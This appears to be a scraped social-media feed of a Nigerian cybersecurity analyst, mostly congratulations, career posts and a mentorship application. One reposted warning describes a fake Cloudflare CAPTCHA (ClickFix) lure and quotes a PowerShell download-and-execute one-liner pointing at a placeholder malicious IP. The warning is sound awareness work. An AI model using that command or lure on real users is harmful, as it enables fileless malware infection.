log🧑🏽‍💻🌿🇳🇬

Cybersecurity Analyst | (ISC)² CC | Purple Team Focus | Cyber Awareness Advocate | Helping Protect You from Cyber Threats

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@Paul_In_Defense @ireteeh @TemitopeSobulo @segoslavia @thariskyjohn @Cyber_GRC Congratulations

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@ireteeh @DammyReads Congratulations @DammyReads

[Vera Nanya✨ @TheCloudSE]

Please explore other roles in cybersecurity.

Asides soc, cloud, security engineer, pen test etc, there are other roles too.

[Ṣẹ́gunfúnmi😎 @segoslavia]

New Social Engineering Tactics: When CAPTCHAs Attack:

I actually stumbled upon this exact scenario firsthand today while trying to visit https://t.co/rEgsfrfzre. Instead of the expected webpage, I was hit with a highly effective "Living off the Land" (LotL) attack, often associated with threat actors like ClickFix or ClearFake.

Here is how the attack chain unfolds:

1️⃣ The Trap: A realistic-looking "Cloudflare" security verification screen blocks access to the site.
2️⃣ Clipboard Poisoning: In the background, malicious JavaScript silently copies an encoded PowerShell one-liner to the system clipboard.
3️⃣ The Bypass: The fake CAPTCHA instructs you to "verify you are human" by pressing a specific key sequence: Win + X, then I, and Ctrl + V.
4️⃣ Execution: By following these steps, you unknowingly open the Powershell or Windows Terminal, paste the payload (e.g., iex(irm http://[malicious_IP]/... -UseBasicParsing)), and execute a fileless download directly into memory.

Why this is so dangerous: Because the user manually launches a legitimate Windows administrative tool, this technique completely bypasses browser protections, Safe Browsing checks, and traditional file-based AV. No malicious file ever touches the disk.

I was able to detect this cos I was wondering why a cloudflare captcha will require me to execute a command on powershell. So I decided to investigate the script that was copied, sure enough it was A MALICIOUS payload to request a download from a C2 server.

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@Famous_A_A Congrats my bro

[Dr Iretioluwa Akerele @ireteeh]

An alumnus of @Cyblackorg SOC Academy shared the good news of his recent job offer with me.

The goal is to continue to support people to achieve their Cybersecurity goals. Congratulations to the latest graduates of the SOC Academy. I am rooting for your success ✨

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

And it's a wrap..

On to the next chapter 👨🏽‍💻

Thank you @Cyblackorg @ireteeh @cyberjeremiah @CyberRealm_HQ @anyrun_app

This was real helpful in insightful

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

And the journey begins 💪🏾

@Cyblackorg @cyberjeremiah @ireteeh

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@thatboringbro @Cyblackorg @ireteeh @Xymbiz @anyrun_app @judeosamor @purpullgirl Congratulations broski 💪🏾

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@HBubez So this account is still operational 👀 HoB to the world 💪🏾

[Premier League @premierleague]

The Premier League kicks off THIS MONTH! 🫨

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@UTDpapee @DammyReads

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@Ogechee_ @ireteeh Congratulations

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@Ogechee_ Was real nice listening to the speakers

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@smbclient1 Congratulations 💪🏾🔥

[Smart👨‍💻 | Software Engineer @smartnakamoura]

Nigeria has 5.5 million POS terminals.

Most Nigerians think it’s just a card machine.

It isn’t.

It’s the most fraud-exposed piece of infrastructure in the country and almost nobody understands how it actually works.

Here’s the breakdown:

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

Last last

[Vera Nanya✨ @TheCloudSE]

Everybody go dey alright

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@smbclient1 Get some rest before your body breaks down

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@ireteeh @ireteeh
and web security concepts. I have a laptop, can commit the required time to the program. I'm eager to learn from mentors and collaborate with like-minded individuals contributing positively to the cohort. I’m teachable, consistent, and committed to growing in this field

[log🧑🏽‍💻🌿🇳🇬 @JeffStone00]

@ireteeh @ireteeh
1/2
Over the last 12 months, I’ve been actively building my cybersecurity skills through hands-on experience, a home lab, and with platforms such as TryHackMe and PortSwigger. I have experience with security monitoring, alert investigation, incident response, networking,